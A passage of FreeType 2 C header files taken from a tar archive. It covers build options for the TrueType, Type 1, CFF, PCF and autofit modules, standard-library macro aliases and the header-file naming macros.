nature and the original developer losing interest meant that */ /* this option was never enabled in default builds. */ /* */ /* The corresponding interpreter version is v38. */ /* */ /* Value 2: */ /* The new default mode for the TrueType driver. The Infinality code */ /* base was stripped to the bare minimum and all configurability */ /* removed in the name of speed and simplicity. The configurability */ /* was mainly aimed at legacy fonts like Arial, Times New Roman, or */ /* Courier. Legacy fonts are fonts that modify vertical stems to */ /* achieve clean black-and-white bitmaps. The new mode focuses on */ /* applying a minimal set of rules to all fonts indiscriminately so */ /* that modern and web fonts render well while legacy fonts render */ /* okay. */ /* */ /* The corresponding interpreter version is v40. */ /* */ /* Value 3: */ /* Compile both, making both v38 and v40 available (the latter is the */ /* default). */ /* */ /* By undefining these, you get rendering behavior like on Windows */ /* without ClearType, i.e., Windows XP without ClearType enabled and */ /* Win9x (interpreter version v35). Or not, depending on how much */ /* hinting blood and testing tears the font designer put into a given */ /* font. If you define one or both subpixel hinting options, you can */ /* switch between between v35 and the ones you define (using */ /* `FT_Property_Set'). */ /* */ /* This option requires TT_CONFIG_OPTION_BYTECODE_INTERPRETER to be */ /* defined. */ /* */ /* [1] https://www.microsoft.com/typography/cleartype/truetypecleartype.aspx */ /* */ /* #define TT_CONFIG_OPTION_SUBPIXEL_HINTING 1 */ #define TT_CONFIG_OPTION_SUBPIXEL_HINTING 2 /* #define TT_CONFIG_OPTION_SUBPIXEL_HINTING ( 1 | 2 ) */ /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_COMPONENT_OFFSET_SCALED to compile the */ /* TrueType glyph loader to use Apple's definition of how to handle */ /* component offsets in composite glyphs. */ /* */ /* Apple and MS disagree on the default behavior of component offsets */ /* in composites. Apple says that they should be scaled by the scaling */ /* factors in the transformation matrix (roughly, it's more complex) */ /* while MS says they should not. OpenType defines two bits in the */ /* composite flags array which can be used to disambiguate, but old */ /* fonts will not have them. */ /* */ /* https://www.microsoft.com/typography/otspec/glyf.htm */ /* https://developer.apple.com/fonts/TrueType-Reference-Manual/RM06/Chap6glyf.html */ /* */ #undef TT_CONFIG_OPTION_COMPONENT_OFFSET_SCALED /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_GX_VAR_SUPPORT if you want to include */ /* support for Apple's distortable font technology (fvar, gvar, cvar, */ /* and avar tables). This has many similarities to Type 1 Multiple */ /* Masters support. */ /* */ #define TT_CONFIG_OPTION_GX_VAR_SUPPORT /*************************************************************************/ /* */ /* Define TT_CONFIG_OPTION_BDF if you want to include support for */ /* an embedded `BDF ' table within SFNT-based bitmap formats. */ /* */ #define TT_CONFIG_OPTION_BDF /*************************************************************************/ /* */ /* Option TT_CONFIG_OPTION_MAX_RUNNABLE_OPCODES controls the maximum */ /* number of bytecode instructions executed for a single run of the */ /* bytecode interpreter, needed to prevent infinite loops. You don't */ /* want to change this except for very special situations (e.g., making */ /* a library fuzzer spend less time to handle broken fonts). */ /* */ /* It is not expected that this value is ever modified by a configuring */ /* script; instead, it gets surrounded with #ifndef ... #endif so that */ /* the value can be set as a preprocessor option on the compiler's */ /* command line. */ /* */ #ifndef TT_CONFIG_OPTION_MAX_RUNNABLE_OPCODES #define TT_CONFIG_OPTION_MAX_RUNNABLE_OPCODES 1000000L #endif /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** T Y P E 1 D R I V E R C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* T1_MAX_DICT_DEPTH is the maximum depth of nest dictionaries and */ /* arrays in the Type 1 stream (see t1load.c). A minimum of 4 is */ /* required. */ /* */ #define T1_MAX_DICT_DEPTH 5 /*************************************************************************/ /* */ /* T1_MAX_SUBRS_CALLS details the maximum number of nested sub-routine */ /* calls during glyph loading. */ /* */ #define T1_MAX_SUBRS_CALLS 16 /*************************************************************************/ /* */ /* T1_MAX_CHARSTRING_OPERANDS is the charstring stack's capacity. A */ /* minimum of 16 is required. */ /* */ /* The Chinese font MingTiEG-Medium (CNS 11643 character set) needs 256. */ /* */ #define T1_MAX_CHARSTRINGS_OPERANDS 256 /*************************************************************************/ /* */ /* Define this configuration macro if you want to prevent the */ /* compilation of `t1afm', which is in charge of reading Type 1 AFM */ /* files into an existing face. Note that if set, the T1 driver will be */ /* unable to produce kerning distances. */ /* */ #undef T1_CONFIG_OPTION_NO_AFM /*************************************************************************/ /* */ /* Define this configuration macro if you want to prevent the */ /* compilation of the Multiple Masters font support in the Type 1 */ /* driver. */ /* */ #undef T1_CONFIG_OPTION_NO_MM_SUPPORT /*************************************************************************/ /* */ /* T1_CONFIG_OPTION_OLD_ENGINE controls whether the pre-Adobe Type 1 */ /* engine gets compiled into FreeType. If defined, it is possible to */ /* switch between the two engines using the `hinting-engine' property of */ /* the type1 driver module. */ /* */ /* #define T1_CONFIG_OPTION_OLD_ENGINE */ /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** C F F D R I V E R C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* Using CFF_CONFIG_OPTION_DARKENING_PARAMETER_{X,Y}{1,2,3,4} it is */ /* possible to set up the default values of the four control points that */ /* define the stem darkening behaviour of the (new) CFF engine. For */ /* more details please read the documentation of the */ /* `darkening-parameters' property (file `ftdriver.h'), which allows the */ /* control at run-time. */ /* */ /* Do *not* undefine these macros! */ /* */ #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_X1 500 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y1 400 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_X2 1000 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y2 275 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_X3 1667 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y3 275 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_X4 2333 #define CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y4 0 /*************************************************************************/ /* */ /* CFF_CONFIG_OPTION_OLD_ENGINE controls whether the pre-Adobe CFF */ /* engine gets compiled into FreeType. If defined, it is possible to */ /* switch between the two engines using the `hinting-engine' property of */ /* the cff driver module. */ /* */ /* #define CFF_CONFIG_OPTION_OLD_ENGINE */ /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** P C F D R I V E R C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* There are many PCF fonts just called `Fixed' which look completely */ /* different, and which have nothing to do with each other. When */ /* selecting `Fixed' in KDE or Gnome one gets results that appear rather */ /* random, the style changes often if one changes the size and one */ /* cannot select some fonts at all. This option makes the PCF module */ /* prepend the foundry name (plus a space) to the family name. */ /* */ /* We also check whether we have `wide' characters; all put together, we */ /* get family names like `Sony Fixed' or `Misc Fixed Wide'. */ /* */ /* If this option is activated, it can be controlled with the */ /* `no-long-family-names' property of the pcf driver module. */ /* */ /* #define PCF_CONFIG_OPTION_LONG_FAMILY_NAMES */ /*************************************************************************/ /*************************************************************************/ /**** ****/ /**** A U T O F I T M O D U L E C O N F I G U R A T I O N ****/ /**** ****/ /*************************************************************************/ /*************************************************************************/ /*************************************************************************/ /* */ /* Compile autofit module with CJK (Chinese, Japanese, Korean) script */ /* support. */ /* */ #define AF_CONFIG_OPTION_CJK /*************************************************************************/ /* */ /* Compile autofit module with fallback Indic script support, covering */ /* some scripts that the `latin' submodule of the autofit module doesn't */ /* (yet) handle. */ /* */ #define AF_CONFIG_OPTION_INDIC /*************************************************************************/ /* */ /* Compile autofit module with warp hinting. The idea of the warping */ /* code is to slightly scale and shift a glyph within a single dimension */ /* so that as much of its segments are aligned (more or less) on the */ /* grid. To find out the optimal scaling and shifting value, various */ /* parameter combinations are tried and scored. */ /* */ /* This experimental option is active only if the rendering mode is */ /* FT_RENDER_MODE_LIGHT; you can switch warping on and off with the */ /* `warping' property of the auto-hinter (see file `ftdriver.h' for more */ /* information; by default it is switched off). */ /* */ #define AF_CONFIG_OPTION_USE_WARPER /*************************************************************************/ /* */ /* Use TrueType-like size metrics for `light' auto-hinting. */ /* */ /* It is strongly recommended to avoid this option, which exists only to */ /* help some legacy applications retain its appearance and behaviour */ /* with respect to auto-hinted TrueType fonts. */ /* */ /* The very reason this option exists at all are GNU/Linux distributions */ /* like Fedora that did not un-patch the following change (which was */ /* present in FreeType between versions 2.4.6 and 2.7.1, inclusive). */ /* */ /* 2011-07-16 Steven Chu <steven.f.chu@gmail.com> */ /* */ /* [truetype] Fix metrics on size request for scalable fonts. */ /* */ /* This problematic commit is now reverted (more or less). */ /* */ /* #define AF_CONFIG_OPTION_TT_SIZE_METRICS */ /* */ /* * This macro is obsolete. Support has been removed in FreeType * version 2.5. */ /* #define FT_CONFIG_OPTION_OLD_INTERNALS */ /* * This macro is defined if native TrueType hinting is requested by the * definitions above. */ #ifdef TT_CONFIG_OPTION_BYTECODE_INTERPRETER #define TT_USE_BYTECODE_INTERPRETER #ifdef TT_CONFIG_OPTION_SUBPIXEL_HINTING #if TT_CONFIG_OPTION_SUBPIXEL_HINTING & 1 #define TT_SUPPORT_SUBPIXEL_HINTING_INFINALITY #endif #if TT_CONFIG_OPTION_SUBPIXEL_HINTING & 2 #define TT_SUPPORT_SUBPIXEL_HINTING_MINIMAL #endif #endif #endif /* * Check CFF darkening parameters. The checks are the same as in function * `cff_property_set' in file `cffdrivr.c'. */ #if CFF_CONFIG_OPTION_DARKENING_PARAMETER_X1 < 0 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X2 < 0 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X3 < 0 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X4 < 0 || \ \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y1 < 0 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y2 < 0 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y3 < 0 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y4 < 0 || \ \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X1 > \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X2 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X2 > \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X3 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X3 > \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_X4 || \ \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y1 > 500 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y2 > 500 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y3 > 500 || \ CFF_CONFIG_OPTION_DARKENING_PARAMETER_Y4 > 500 #error "Invalid CFF darkening parameters!" #endif FT_END_HEADER #endif /* FTOPTION_H_ */ /* END */ freetype2/freetype/config/ftstdlib.h 0000644 00000016200 15246445047 0013537 0 ustar 00 /***************************************************************************/ /* */ /* ftstdlib.h */ /* */ /* ANSI-specific library and header configuration file (specification */ /* only). */ /* */ /* Copyright 2002-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ /*************************************************************************/ /* */ /* This file is used to group all #includes to the ANSI C library that */ /* FreeType normally requires. It also defines macros to rename the */ /* standard functions within the FreeType source code. */ /* */ /* Load a file which defines FTSTDLIB_H_ before this one to override it. */ /* */ /*************************************************************************/ #ifndef FTSTDLIB_H_ #define FTSTDLIB_H_ #include <stddef.h> #define ft_ptrdiff_t ptrdiff_t /**********************************************************************/ /* */ /* integer limits */ /* */ /* UINT_MAX and ULONG_MAX are used to automatically compute the size */ /* of `int' and `long' in bytes at compile-time. So far, this works */ /* for all platforms the library has been tested on. */ /* */ /* Note that on the extremely rare platforms that do not provide */ /* integer types that are _exactly_ 16 and 32 bits wide (e.g. some */ /* old Crays where `int' is 36 bits), we do not make any guarantee */ /* about the correct behaviour of FT2 with all fonts. */ /* */ /* In these case, `ftconfig.h' will refuse to compile anyway with a */ /* message like `couldn't find 32-bit type' or something similar. */ /* */ /**********************************************************************/ #include <limits.h> #define FT_CHAR_BIT CHAR_BIT #define FT_USHORT_MAX USHRT_MAX #define FT_INT_MAX INT_MAX #define FT_INT_MIN INT_MIN #define FT_UINT_MAX UINT_MAX #define FT_LONG_MIN LONG_MIN #define FT_LONG_MAX LONG_MAX #define FT_ULONG_MAX ULONG_MAX /**********************************************************************/ /* */ /* character and string processing */ /* */ /**********************************************************************/ #include <string.h> #define ft_memchr memchr #define ft_memcmp memcmp #define ft_memcpy memcpy #define ft_memmove memmove #define ft_memset memset #define ft_strcat strcat #define ft_strcmp strcmp #define ft_strcpy strcpy #define ft_strlen strlen #define ft_strncmp strncmp #define ft_strncpy strncpy #define ft_strrchr strrchr #define ft_strstr strstr /**********************************************************************/ /* */ /* file handling */ /* */ /**********************************************************************/ #include <stdio.h> #define FT_FILE FILE #define ft_fclose fclose #define ft_fopen fopen #define ft_fread fread #define ft_fseek fseek #define ft_ftell ftell #define ft_sprintf sprintf /**********************************************************************/ /* */ /* sorting */ /* */ /**********************************************************************/ #include <stdlib.h> #define ft_qsort qsort /**********************************************************************/ /* */ /* memory allocation */ /* */ /**********************************************************************/ #define ft_scalloc calloc #define ft_sfree free #define ft_smalloc malloc #define ft_srealloc realloc /**********************************************************************/ /* */ /* miscellaneous */ /* */ /**********************************************************************/ #define ft_strtol strtol #define ft_getenv getenv /**********************************************************************/ /* */ /* execution control */ /* */ /**********************************************************************/ #include <setjmp.h> #define ft_jmp_buf jmp_buf /* note: this cannot be a typedef since */ /* jmp_buf is defined as a macro */ /* on certain platforms */ #define ft_longjmp longjmp #define ft_setjmp( b ) setjmp( *(ft_jmp_buf*) &(b) ) /* same thing here */ /* the following is only used for debugging purposes, i.e., if */ /* FT_DEBUG_LEVEL_ERROR or FT_DEBUG_LEVEL_TRACE are defined */ #include <stdarg.h> #endif /* FTSTDLIB_H_ */ /* END */ freetype2/freetype/config/ftconfig.h 0000644 00000000401 15246445047 0013517 0 ustar 00 #ifndef __FTCONFIG_H__MULTILIB #define __FTCONFIG_H__MULTILIB #include <bits/wordsize.h> #if __WORDSIZE == 32 # include "ftconfig-32.h" #elif __WORDSIZE == 64 # include "ftconfig-64.h" #else # error "unexpected value for __WORDSIZE macro" #endif #endif freetype2/freetype/config/ftheader.h 0000644 00000061013 15246445047 0013510 0 ustar 00 /***************************************************************************/ /* */ /* ftheader.h */ /* */ /* Build macros of the FreeType 2 library. */ /* */ /* Copyright 1996-2018 by */ /* David Turner, Robert Wilhelm, and Werner Lemberg. */ /* */ /* This file is part of the FreeType project, and may only be used, */ /* modified, and distributed under the terms of the FreeType project */ /* license, LICENSE.TXT. By continuing to use, modify, or distribute */ /* this file you indicate that you have read the license and */ /* understand and accept it fully. */ /* */ /***************************************************************************/ #ifndef FTHEADER_H_ #define FTHEADER_H_ /*@***********************************************************************/ /* */ /* <Macro> */ /* FT_BEGIN_HEADER */ /* */ /* <Description> */ /* This macro is used in association with @FT_END_HEADER in header */ /* files to ensure that the declarations within are properly */ /* encapsulated in an `extern "C" { .. }' block when included from a */ /* C++ compiler. */ /* */ #ifdef __cplusplus #define FT_BEGIN_HEADER extern "C" { #else #define FT_BEGIN_HEADER /* nothing */ #endif /*@***********************************************************************/ /* */ /* <Macro> */ /* FT_END_HEADER */ /* */ /* <Description> */ /* This macro is used in association with @FT_BEGIN_HEADER in header */ /* files to ensure that the declarations within are properly */ /* encapsulated in an `extern "C" { .. }' block when included from a */ /* C++ compiler. */ /* */ #ifdef __cplusplus #define FT_END_HEADER } #else #define FT_END_HEADER /* nothing */ #endif /*************************************************************************/ /* */ /* Aliases for the FreeType 2 public and configuration files. */ /* */ /*************************************************************************/ /*************************************************************************/ /* */ /* <Section> */ /* header_file_macros */ /* */ /* <Title> */ /* Header File Macros */ /* */ /* <Abstract> */ /* Macro definitions used to #include specific header files. */ /* */ /* <Description> */ /* The following macros are defined to the name of specific */ /* FreeType~2 header files. They can be used directly in #include */ /* statements as in: */ /* */ /* { */ /* #include FT_FREETYPE_H */ /* #include FT_MULTIPLE_MASTERS_H */ /* #include FT_GLYPH_H */ /* } */ /* */ /* There are several reasons why we are now using macros to name */ /* public header files. The first one is that such macros are not */ /* limited to the infamous 8.3~naming rule required by DOS (and */ /* `FT_MULTIPLE_MASTERS_H' is a lot more meaningful than `ftmm.h'). */ /* */ /* The second reason is that it allows for more flexibility in the */ /* way FreeType~2 is installed on a given system. */ /* */ /*************************************************************************/ /* configuration files */ /************************************************************************* * * @macro: * FT_CONFIG_CONFIG_H * * @description: * A macro used in #include statements to name the file containing * FreeType~2 configuration data. * */ #ifndef FT_CONFIG_CONFIG_H #define FT_CONFIG_CONFIG_H <freetype/config/ftconfig.h> #endif /************************************************************************* * * @macro: * FT_CONFIG_STANDARD_LIBRARY_H * * @description: * A macro used in #include statements to name the file containing * FreeType~2 interface to the standard C library functions. * */ #ifndef FT_CONFIG_STANDARD_LIBRARY_H #define FT_CONFIG_STANDARD_LIBRARY_H <freetype/config/ftstdlib.h> #endif /************************************************************************* * * @macro: * FT_CONFIG_OPTIONS_H * * @description: * A macro used in #include statements to name the file containing * FreeType~2 project-specific configuration options. * */ #ifndef FT_CONFIG_OPTIONS_H #define FT_CONFIG_OPTIONS_H <freetype/config/ftoption.h> #endif /************************************************************************* * * @macro: * FT_CONFIG_MODULES_H * * @description: * A macro used in #include statements to name the file containing the * list of FreeType~2 modules that are statically linked to new library * instances in @FT_Init_FreeType. * */ #ifndef FT_CONFIG_MODULES_H #define FT_CONFIG_MODULES_H <freetype/config/ftmodule.h> #endif /* */ /* public headers */ /************************************************************************* * * @macro: * FT_FREETYPE_H * * @description: * A macro used in #include statements to name the file containing the * base FreeType~2 API. * */ #define FT_FREETYPE_H <freetype/freetype.h> /************************************************************************* * * @macro: * FT_ERRORS_H * * @description: * A macro used in #include statements to name the file containing the * list of FreeType~2 error codes (and messages). * * It is included by @FT_FREETYPE_H. * */ #define FT_ERRORS_H <freetype/fterrors.h> /************************************************************************* * * @macro: * FT_MODULE_ERRORS_H * * @description: * A macro used in #include statements to name the file containing the * list of FreeType~2 module error offsets (and messages). * */ #define FT_MODULE_ERRORS_H <freetype/ftmoderr.h> /************************************************************************* * * @macro: * FT_SYSTEM_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 interface to low-level operations (i.e., memory management * and stream i/o). * * It is included by @FT_FREETYPE_H. * */ #define FT_SYSTEM_H <freetype/ftsystem.h> /************************************************************************* * * @macro: * FT_IMAGE_H * * @description: * A macro used in #include statements to name the file containing type * definitions related to glyph images (i.e., bitmaps, outlines, * scan-converter parameters). * * It is included by @FT_FREETYPE_H. * */ #define FT_IMAGE_H <freetype/ftimage.h> /************************************************************************* * * @macro: * FT_TYPES_H * * @description: * A macro used in #include statements to name the file containing the * basic data types defined by FreeType~2. * * It is included by @FT_FREETYPE_H. * */ #define FT_TYPES_H <freetype/fttypes.h> /************************************************************************* * * @macro: * FT_LIST_H * * @description: * A macro used in #include statements to name the file containing the * list management API of FreeType~2. * * (Most applications will never need to include this file.) * */ #define FT_LIST_H <freetype/ftlist.h> /************************************************************************* * * @macro: * FT_OUTLINE_H * * @description: * A macro used in #include statements to name the file containing the * scalable outline management API of FreeType~2. * */ #define FT_OUTLINE_H <freetype/ftoutln.h> /************************************************************************* * * @macro: * FT_SIZES_H * * @description: * A macro used in #include statements to name the file containing the * API which manages multiple @FT_Size objects per face. * */ #define FT_SIZES_H <freetype/ftsizes.h> /************************************************************************* * * @macro: * FT_MODULE_H * * @description: * A macro used in #include statements to name the file containing the * module management API of FreeType~2. * */ #define FT_MODULE_H <freetype/ftmodapi.h> /************************************************************************* * * @macro: * FT_RENDER_H * * @description: * A macro used in #include statements to name the file containing the * renderer module management API of FreeType~2. * */ #define FT_RENDER_H <freetype/ftrender.h> /************************************************************************* * * @macro: * FT_DRIVER_H * * @description: * A macro used in #include statements to name the file containing * structures and macros related to the driver modules. * */ #define FT_DRIVER_H <freetype/ftdriver.h> /************************************************************************* * * @macro: * FT_AUTOHINTER_H * * @description: * A macro used in #include statements to name the file containing * structures and macros related to the auto-hinting module. * * Deprecated since version 2.9; use @FT_DRIVER_H instead. * */ #define FT_AUTOHINTER_H FT_DRIVER_H /************************************************************************* * * @macro: * FT_CFF_DRIVER_H * * @description: * A macro used in #include statements to name the file containing * structures and macros related to the CFF driver module. * * Deprecated since version 2.9; use @FT_DRIVER_H instead. * */ #define FT_CFF_DRIVER_H FT_DRIVER_H /************************************************************************* * * @macro: * FT_TRUETYPE_DRIVER_H * * @description: * A macro used in #include statements to name the file containing * structures and macros related to the TrueType driver module. * * Deprecated since version 2.9; use @FT_DRIVER_H instead. * */ #define FT_TRUETYPE_DRIVER_H FT_DRIVER_H /************************************************************************* * * @macro: * FT_PCF_DRIVER_H * * @description: * A macro used in #include statements to name the file containing * structures and macros related to the PCF driver module. * * Deprecated since version 2.9; use @FT_DRIVER_H instead. * */ #define FT_PCF_DRIVER_H FT_DRIVER_H /************************************************************************* * * @macro: * FT_TYPE1_TABLES_H * * @description: * A macro used in #include statements to name the file containing the * types and API specific to the Type~1 format. * */ #define FT_TYPE1_TABLES_H <freetype/t1tables.h> /************************************************************************* * * @macro: * FT_TRUETYPE_IDS_H * * @description: * A macro used in #include statements to name the file containing the * enumeration values which identify name strings, languages, encodings, * etc. This file really contains a _large_ set of constant macro * definitions, taken from the TrueType and OpenType specifications. * */ #define FT_TRUETYPE_IDS_H <freetype/ttnameid.h> /************************************************************************* * * @macro: * FT_TRUETYPE_TABLES_H * * @description: * A macro used in #include statements to name the file containing the * types and API specific to the TrueType (as well as OpenType) format. * */ #define FT_TRUETYPE_TABLES_H <freetype/tttables.h> /************************************************************************* * * @macro: * FT_TRUETYPE_TAGS_H * * @description: * A macro used in #include statements to name the file containing the * definitions of TrueType four-byte `tags' which identify blocks in * SFNT-based font formats (i.e., TrueType and OpenType). * */ #define FT_TRUETYPE_TAGS_H <freetype/tttags.h> /************************************************************************* * * @macro: * FT_BDF_H * * @description: * A macro used in #include statements to name the file containing the * definitions of an API which accesses BDF-specific strings from a * face. * */ #define FT_BDF_H <freetype/ftbdf.h> /************************************************************************* * * @macro: * FT_CID_H * * @description: * A macro used in #include statements to name the file containing the * definitions of an API which access CID font information from a * face. * */ #define FT_CID_H <freetype/ftcid.h> /************************************************************************* * * @macro: * FT_GZIP_H * * @description: * A macro used in #include statements to name the file containing the * definitions of an API which supports gzip-compressed files. * */ #define FT_GZIP_H <freetype/ftgzip.h> /************************************************************************* * * @macro: * FT_LZW_H * * @description: * A macro used in #include statements to name the file containing the * definitions of an API which supports LZW-compressed files. * */ #define FT_LZW_H <freetype/ftlzw.h> /************************************************************************* * * @macro: * FT_BZIP2_H * * @description: * A macro used in #include statements to name the file containing the * definitions of an API which supports bzip2-compressed files. * */ #define FT_BZIP2_H <freetype/ftbzip2.h> /************************************************************************* * * @macro: * FT_WINFONTS_H * * @description: * A macro used in #include statements to name the file containing the * definitions of an API which supports Windows FNT files. * */ #define FT_WINFONTS_H <freetype/ftwinfnt.h> /************************************************************************* * * @macro: * FT_GLYPH_H * * @description: * A macro used in #include statements to name the file containing the * API of the optional glyph management component. * */ #define FT_GLYPH_H <freetype/ftglyph.h> /************************************************************************* * * @macro: * FT_BITMAP_H * * @description: * A macro used in #include statements to name the file containing the * API of the optional bitmap conversion component. * */ #define FT_BITMAP_H <freetype/ftbitmap.h> /************************************************************************* * * @macro: * FT_BBOX_H * * @description: * A macro used in #include statements to name the file containing the * API of the optional exact bounding box computation routines. * */ #define FT_BBOX_H <freetype/ftbbox.h> /************************************************************************* * * @macro: * FT_CACHE_H * * @description: * A macro used in #include statements to name the file containing the * API of the optional FreeType~2 cache sub-system. * */ #define FT_CACHE_H <freetype/ftcache.h> /************************************************************************* * * @macro: * FT_MAC_H * * @description: * A macro used in #include statements to name the file containing the * Macintosh-specific FreeType~2 API. The latter is used to access * fonts embedded in resource forks. * * This header file must be explicitly included by client applications * compiled on the Mac (note that the base API still works though). * */ #define FT_MAC_H <freetype/ftmac.h> /************************************************************************* * * @macro: * FT_MULTIPLE_MASTERS_H * * @description: * A macro used in #include statements to name the file containing the * optional multiple-masters management API of FreeType~2. * */ #define FT_MULTIPLE_MASTERS_H <freetype/ftmm.h> /************************************************************************* * * @macro: * FT_SFNT_NAMES_H * * @description: * A macro used in #include statements to name the file containing the * optional FreeType~2 API which accesses embedded `name' strings in * SFNT-based font formats (i.e., TrueType and OpenType). * */ #define FT_SFNT_NAMES_H <freetype/ftsnames.h> /************************************************************************* * * @macro: * FT_OPENTYPE_VALIDATE_H * * @description: * A macro used in #include statements to name the file containing the * optional FreeType~2 API which validates OpenType tables (BASE, GDEF, * GPOS, GSUB, JSTF). * */ #define FT_OPENTYPE_VALIDATE_H <freetype/ftotval.h> /************************************************************************* * * @macro: * FT_GX_VALIDATE_H * * @description: * A macro used in #include statements to name the file containing the * optional FreeType~2 API which validates TrueTypeGX/AAT tables (feat, * mort, morx, bsln, just, kern, opbd, trak, prop). * */ #define FT_GX_VALIDATE_H <freetype/ftgxval.h> /************************************************************************* * * @macro: * FT_PFR_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which accesses PFR-specific data. * */ #define FT_PFR_H <freetype/ftpfr.h> /************************************************************************* * * @macro: * FT_STROKER_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which provides functions to stroke outline paths. */ #define FT_STROKER_H <freetype/ftstroke.h> /************************************************************************* * * @macro: * FT_SYNTHESIS_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which performs artificial obliquing and emboldening. */ #define FT_SYNTHESIS_H <freetype/ftsynth.h> /************************************************************************* * * @macro: * FT_FONT_FORMATS_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which provides functions specific to font formats. */ #define FT_FONT_FORMATS_H <freetype/ftfntfmt.h> /* deprecated */ #define FT_XFREE86_H FT_FONT_FORMATS_H /************************************************************************* * * @macro: * FT_TRIGONOMETRY_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which performs trigonometric computations (e.g., * cosines and arc tangents). */ #define FT_TRIGONOMETRY_H <freetype/fttrigon.h> /************************************************************************* * * @macro: * FT_LCD_FILTER_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which performs color filtering for subpixel rendering. */ #define FT_LCD_FILTER_H <freetype/ftlcdfil.h> /************************************************************************* * * @macro: * FT_INCREMENTAL_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which performs incremental glyph loading. */ #define FT_INCREMENTAL_H <freetype/ftincrem.h> /************************************************************************* * * @macro: * FT_GASP_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which returns entries from the TrueType GASP table. */ #define FT_GASP_H <freetype/ftgasp.h> /************************************************************************* * * @macro: * FT_ADVANCES_H * * @description: * A macro used in #include statements to name the file containing the * FreeType~2 API which returns individual and ranged glyph advances. */ #define FT_ADVANCES_H <freetype/ftadvanc.h> /* */ /* These header files don't need to be included by the user. */ #define FT_ERROR_DEFINITIONS_H <freetype/fterrdef.h> #define FT_PARAMETER_TAGS_H <freetype/ftparams.h> /* Deprecated macros. */ #define FT_UNPATENTED_HINTING_H <freetype/ftparams.h> #define FT_TRUETYPE_UNPATENTED_H <freetype/ftparams.h> /* FT_CACHE_H is the only header file needed for the cache subsystem. */ #define FT_CACHE_IMAGE_H FT_CACHE_H #define FT_CACHE_SMALL_BITMAPS_H FT_CACHE_H #define FT_CACHE_CHARMAP_H FT_CACHE_H /* The internals of the cache sub-system are no longer exposed. We */ /* default to FT_CACHE_H at the moment just in case, but we know of */ /* no rogue client that uses them. */ /* */ #define FT_CACHE_MANAGER_H FT_CACHE_H #define FT_CACHE_INTERNAL_MRU_H FT_CACHE_H #define FT_CACHE_INTERNAL_MANAGER_H FT_CACHE_H #define FT_CACHE_INTERNAL_CACHE_H FT_CACHE_H #define FT_CACHE_INTERNAL_GLYPH_H FT_CACHE_H #define FT_CACHE_INTERNAL_IMAGE_H FT_CACHE_H #define FT_CACHE_INTERNAL_SBITS_H FT_CACHE_H /* * Include internal headers definitions from <internal/...> * only when building the library. */ #ifdef FT2_BUILD_LIBRARY #define FT_INTERNAL_INTERNAL_H <freetype/internal/internal.h> #include FT_INTERNAL_INTERNAL_H #endif /* FT2_BUILD_LIBRARY */ #endif /* FTHEADER_H_ */ /* END */ freetype2/freetype/config/ftmodule.h 0000644 00000002206 15246445047 0013544 0 ustar 00 /* This is a generated file. */ FT_USE_MODULE( FT_Driver_ClassRec, tt_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, t1_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, cff_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, t1cid_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, pfr_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, t42_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, winfnt_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, pcf_driver_class ) FT_USE_MODULE( FT_Driver_ClassRec, bdf_driver_class ) FT_USE_MODULE( FT_Module_Class, sfnt_module_class ) FT_USE_MODULE( FT_Module_Class, autofit_module_class ) FT_USE_MODULE( FT_Module_Class, pshinter_module_class ) FT_USE_MODULE( FT_Renderer_Class, ft_raster1_renderer_class ) FT_USE_MODULE( FT_Renderer_Class, ft_smooth_renderer_class ) FT_USE_MODULE( FT_Renderer_Class, 